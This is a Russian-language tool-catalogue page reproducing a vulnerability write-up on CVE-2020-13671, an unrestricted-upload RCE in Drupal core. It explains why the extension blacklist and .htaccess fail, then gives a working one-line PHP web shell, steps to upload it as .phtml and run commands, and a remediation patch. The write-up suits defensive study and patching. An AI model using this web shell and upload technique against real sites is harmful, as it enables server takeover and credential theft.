Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2020-13671-old — CVE-2020-13671 - Анализ уязвимости RCE в Drupal через загрузку файлов и PoC | Kitploit
Инструменты/GitHubGitHub/dungsocool/cve-2020-13671-old
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на ПроникновениеРазработка Полезной Нагрузки
GitHubdungsocool/cve-2020-13671-old

CVE-2020-13671-old

CVE-2020-13671 - Анализ уязвимости RCE в Drupal через загрузку файлов и PoC

Репозиторий
3 дней назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2020-13671

RCE через загрузку файла — ядро Drupal

Программное обеспечение: Drupal Core 8.7.5 (Затронуты: 7.x < 7.78, 8.x < 8.8.11, 8.9.x < 8.9.9, 9.0.x < 9.0.8)
CVSS: 8.8 (Высокий)
CWE: CWE-434 — Неограниченная загрузка файла опасного типа
CISA KEV: Да — известная эксплуатируемая уязвимость
Advisory: SA-CORE-2020-012


Что такое Drupal

Drupal — это система управления контентом (CMS) с открытым исходным кодом, написанная на PHP, похожая на WordPress или Joomla, но ориентированная на создание более сложных систем — корпоративных сайтов, мультиязычных платформ. Drupal использует модульную архитектуру, позволяя расширять функциональность за счёт включения/отключения доступных модулей или установки дополнительных из сообщества.

Одна из базовых функций любой CMS — возможность загрузки файлов пользователями: аватары профиля, прикреплённые документы, вложения в статьях. Drupal сохраняет эти файлы в каталог sites/default/files/ и отдаёт их напрямую через веб-сервер (Apache или Nginx).

⇒ Это создаёт очевидную поверхность атаки: если атакующему удастся загрузить PHP-файл в этот каталог, веб-сервер выполнит его при обращении через входящий запрос.

Чтобы предотвратить это, Drupal выстраивает несколько уровней защиты: проверку расширений файлов, переименование опасных файлов, размещение .htaccess для блокировки выполнения скриптов в каталоге загрузок. Но в версии 8.7.5 атакующие эксплуатируют именно слепое пятно между этими уровнями.

Условия эксплуатации

Для эксплуатации этой уязвимости требуется учётная запись с правами на загрузку файлов. По умолчанию в Drupal 8.7.5 обычные пользователи (Authenticated) имеют права только на просмотр контента и размещение комментариев — без права создавать статьи или загружать файлы.

Учётная записьВозможна ли эксплуатация?Пояснение
АдминистраторДаПолные права на загрузку файлов
Редактор / Создатель контентаДаЕсли выдано разрешение «Создание материала» с загрузкой от администратора
Аутентифицированный пользователь (по умолчанию)НетПо умолчанию не имеет разрешения на создание материала или загрузку
Аноним (не в системе)НетНет разрешения на загрузку

Однако на практике многие сайты на Drupal предоставляют обычным пользователям права на создание контента (форумы, блоги сообщества, новостные сайты, позволяющие присылать статьи). В таких случаях атакующему достаточно зарегистрировать учётную запись для эксплуатации.

Схема атаки:

root@kitploit:~
Attacker with upload-privileged account → Create article (Article)
→ Upload webshell.phtml via Image/File attachment field
→ Drupal saves the file with its original name into sites/default/files/
→ Attacker accesses the file URL → Apache executes PHP → RCE

Корневая причина ( ROOT CAUSE )

В файле core/modules/file/file.module есть одно регулярное выражение, которое определяет, какие файлы считаются исполняемыми:

root@kitploit:~
define('FILE_INSECURE_EXTENSION_REGEX', '/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i');

image.png

Это регулярное выражение перечисляет 7 расширений: phar, php, pl, py, cgi, asp, js. Любой файл с расширением из этого списка Drupal автоматически дополнит .txt — нейтрализуя возможность выполнения.

Однако PHP-движок обрабатывает не только файлы .php. В зависимости от конфигурации веб-сервера он также распознаёт и выполняет другие расширения:

РасширениеЗначениеВходит в regex?
.phpстандартный PHPДа
.phtmlальтернативный шаблон PHPНет
.php5обработчик PHP 5Нет
.phtPHP-шаблонНет
.phpsисходный код PHPНет
.shtmlServer-Side IncludesНет

5 вариантов расширений PHP полностью отсутствуют в regex. Это означает, что файл с именем shell.phtml, отправленный в Drupal → regex не совпадает → не переименовывается → сохраняется с исходным именем в каталоге загрузок → веб-сервер видит .phtml → выполняет его как PHP → атакующий получает RCE. Это и есть корневая причина: Drupal использовал чёрный список для блокировки опасных расширений, но этот список был неполным.

Анализ каждого уровня защиты

Когда пользователь загружает файл, Drupal пропускает его через 3 проверяющие функции перед сохранением. Ниже приведён анализ того, почему все 3 не срабатывают с .phtml.

Уровень 1 — file_munge_filename() (core/includes/file.inc)

Назначение: обнаруживать опасные расширения в середине имени файла и добавлять _, чтобы нейтрализовать их. Как работает функция:

image.png

root@kitploit:~
$filename_parts = explode('.', $filename);    // split filename by "."
$new_filename = array_shift($filename_parts); // get the first part = original name
$final_extension = array_pop($filename_parts); // get the last part = final extension

foreach ($filename_parts as $filename_part) {
    // iterate over the MIDDLE parts
    // if any part looks like a dangerous extension → append "_"
}
return $new_filename . '.' . $final_extension;

Например, для shell.phtml:

  • explode разбивает на ["shell", "phtml"]
  • shift берёт "shell", оставляя ["phtml"]
  • pop берёт "phtml", оставляя []
  • Массив в середине пуст → foreach не выполняется
  • Возвращает "shell.phtml" без изменений

Однако если у файла только одно расширение, функция не вмешивается. Таким образом, эта функция предназначена исключительно для работы с файлами, имеющими несколько расширений.

Уровень 2 — FILE_INSECURE_EXTENSION_REGEX (file.module:1015)

Это основной уровень защиты. Код на строке 1015:

image.png

root@kitploit:~
if (!\Drupal::config('system.file')->get('allow_insecure_uploads')
    && preg_match(FILE_INSECURE_EXTENSION_REGEX, $file->getFilename())
    && (substr($file->getFilename(), -4) != '.txt')) {
    $file->setMimeType('text/plain');
    $file->setFilename($file->getFilename() . '.txt');
}

Если имя файла соответствует regex → изменить MIME на text/plain и добавить .txt в конец.

Для shell.phtml:

  • preg_match('/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i', 'shell.phtml') возвращает 0
  • Нет совпадения → код не входит в блок if → файл сохраняет исходное имя

Этот участок должен был блокировать опасные файлы, но, поскольку regex не знает, что .phtml опасен, файл свободно проходит.

Уровень 3 — .htaccess в каталоге загрузок

Drupal размещает файл .htaccess в sites/default/files/:

root@kitploit:~
SetHandler Drupal_Security_Do_Not_Remove_See_SA_2006_006
<Files *>
  SetHandler Drupal_Security_Do_Not_Remove_See_SA_2013_003
</Files>

<IfModule mod_php5.c>
  php_flag engine off
</IfModule>

Директива php_flag engine off отключает PHP-движок для всего каталога, но применяется только к mod_php5. Drupal 8.7.5 работает на PHP 7, а значит, mod_php7 активен и не отключён.

Кроме того, у .htaccess есть ещё 3 слабых места:

  • Nginx не читает .htaccess — этот файл полностью бесполезен на Nginx
  • Apache, настроенный с AllowOverride None → .htaccess игнорируется
  • Серверы, использующие PHP-FPM вместо mod_php → директива php_flag не действует

Эксплуатация

Шаг 1 — Создание веб-шелла

root@kitploit:~
echo '<?php echo shell_exec($_GET["cmd"]); ?>' > webshell.phtml

Шаг 2 — Загрузка файла

Войдите в Drupal под учётной записью с правами на загрузку → Контент → Добавить материал → Статья → в поле «Изображение» выберите файл webshell.phtml → Загрузить.

Drupal принимает файл, не переименовывает его и сохраняет с исходным именем в sites/default/files/.

image.png

Шаг 3 — Выполнение веб-шелла

После этого выполните shell-вызов с командой whoami:

image.png

Таким образом, мы успешно достигли RCE под пользователем www-data.

Дальнейшая проверка для просмотра учётных данных:

image.png

Результат

Атакующий может прочитать settings.php, содержащий учётные данные БД, выгрузить всю БД, установить reverse shell или повысить привилегии до root.

Устранение

Обновите regex — добавьте 5 недостающих расширений:

root@kitploit:~
// Before:
'/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i'

// After:
'/\.(phar|php|pl|py|cgi|asp|js|phtml|php5|pht|phps|shtml)(\.|$)/i'

Обновите .htaccess — добавьте отключение для mod_php7:

root@kitploit:~
<IfModule mod_php7.c>
  php_flag engine off
</IfModule>

Патч работает, но по-прежнему полагается на чёрный список. Если в будущем появятся новые расширения (.php8, .phpt), regex придётся обновлять снова. Белый список — разрешение только известных безопасных расширений — был бы более тщательным подходом.

Итоги

Уязвимый файлcore/modules/file/file.module, строка 28
Корневая причинаВ чёрном списке regex отсутствуют .phtml, .php5, .pht, .phps, .shtml
ВоздействиеЗагрузка .phtml → сервер выполняет → RCE
3 обойдённых уровня защитыfile_munge_filename() → FILE_INSECURE_EXTENSION_REGEX → .htaccess
ПатчДобавить 5 расширений в regex + отключить mod_php7 в .htaccess
Скачать инструмент